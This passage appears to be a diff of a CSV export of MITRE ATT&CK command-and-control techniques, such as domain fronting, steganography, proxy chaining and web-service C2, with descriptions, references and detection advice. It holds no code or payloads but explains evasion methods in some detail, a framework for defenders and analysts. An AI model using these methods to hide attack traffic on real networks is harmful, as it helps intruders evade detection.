schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, ""domainless"" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored). +Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1001/003', 'external_id': 'T1001.003'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",True,,"['Linux', 'Windows', 'macOS']",1.0,,,,,,, +attack-pattern,attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T00:37:58.963Z,2020-03-15T00:37:58.963Z,Steganography,"Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1001/002', 'external_id': 'T1001.002'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-15T00:30:25.444Z,2020-03-15T00:30:25.444Z,Junk Data,"Adversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1001/001', 'external_id': 'T1001.001'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T23:39:50.117Z,2020-03-14T23:39:50.117Z,Non-Standard Encoding,"Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1132/002', 'external_id': 'T1132.002'}, {'source_name': 'Wikipedia Binary-to-text Encoding', 'description': 'Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.', 'url': 'https://en.wikipedia.org/wiki/Binary-to-text_encoding'}, {'source_name': 'Wikipedia Character Encoding', 'description': 'Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.', 'url': 'https://en.wikipedia.org/wiki/Character_encoding'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",True,['User'],"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T23:36:52.095Z,2020-03-14T23:36:52.095Z,Standard Encoding,"Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1132/001', 'external_id': 'T1132.001'}, {'source_name': 'Wikipedia Binary-to-text Encoding', 'description': 'Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.', 'url': 'https://en.wikipedia.org/wiki/Binary-to-text_encoding'}, {'source_name': 'Wikipedia Character Encoding', 'description': 'Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.', 'url': 'https://en.wikipedia.org/wiki/Character_encoding'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",True,['User'],"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T23:29:19.581Z,2020-09-16T19:30:54.226Z,Domain Fronting,"Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, ""domainless"" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored). -For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1090/004', external_id='T1090.004'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/481.html', external_id='CAPEC-481'), ExternalReference(source_name='Fifield Blocking Resistent Communication through domain fronting 2015', description='David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.', url='http://www.icir.org/vern/papers/meek-PETS-2015.pdf')]",attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-09-16 19:30:54.226000+00:00,Domain Fronting,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Matt Kelly, @breakersall']",['Network Traffic: Network Traffic Content'],,,,,"If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.1 -2020-03-14 23:23:41.770000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. (Citation: Onion Routing) +For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1090/004', 'external_id': 'T1090.004'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/481.html', 'external_id': 'CAPEC-481'}, {'source_name': 'Fifield Blocking Resistent Communication through domain fronting 2015', 'description': 'David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.', 'url': 'http://www.icir.org/vern/papers/meek-PETS-2015.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matt Kelly, @breakersall']",['Network Traffic: Network Traffic Content'],,"If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)",True,,"['Linux', 'macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T23:23:41.770Z,2020-10-21T17:54:28.280Z,Multi-hop Proxy,"To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. (Citation: Onion Routing) -In the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise. By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s WAN. Protocols such as ICMP may be used as a transport.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1090/003', external_id='T1090.003'), ExternalReference(source_name='Onion Routing', description='Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020.', url='https://en.wikipedia.org/wiki/Onion_routing')]",attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-10-21 17:54:28.280000+00:00,Multi-hop Proxy,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,,,,"When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique. +In the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise. By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s WAN. Protocols such as ICMP may be used as a transport.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1090/003', 'external_id': 'T1090.003'}, {'source_name': 'Onion Routing', 'description': 'Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020.', 'url': 'https://en.wikipedia.org/wiki/Onion_routing'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,"When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique. -In context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers. Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted. Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.",,,,,True,,,,"['Linux', 'macOS', 'Windows', 'Network']",,,,2.0 -2020-03-14 23:12:18.466000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion. +In context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers. Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted. Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.",True,,"['Linux', 'macOS', 'Windows', 'Network']",2.0,,,,,,, +attack-pattern,attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T23:12:18.466Z,2020-03-27T17:50:37.411Z,External Proxy,"Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion. -External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1090/002', external_id='T1090.002'), ExternalReference(source_name='Trend Micro APT Attack Tools', description='Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.', url='http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-27 17:50:37.411000+00:00,External Proxy,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,,,,"Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-14 23:08:20.244000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment. +External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1090/002', 'external_id': 'T1090.002'}, {'source_name': 'Trend Micro APT Attack Tools', 'description': 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.', 'url': 'http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,"Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T23:08:20.244Z,2020-03-15T00:46:26.598Z,Internal Proxy,"Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment. -By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1090/001', external_id='T1090.001'), ExternalReference(source_name='Trend Micro APT Attack Tools', description='Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.', url='http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-15 00:46:26.598000+00:00,Internal Proxy,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,,,,Analyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2),,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-14 22:45:52.963000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response. +By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1090/001', 'external_id': 'T1090.001'}, {'source_name': 'Trend Micro APT Attack Tools', 'description': 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.', 'url': 'http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,Analyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2),True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T22:45:52.963Z,2020-03-26T23:26:10.109Z,One-Way Communication,"Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response. -Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1102/003', external_id='T1102.003'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-26 23:26:10.109000+00:00,One-Way Communication,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']",,,,,Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2),,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-14 22:34:03.024000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. +Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1102/003', 'external_id': 'T1102.003'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']",,Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2),True,['User'],"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-14T22:34:03.024Z,2020-03-26T23:15:47.861Z,Bidirectional Communication,"Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. -Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1102/002', external_id='T1102.002'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control 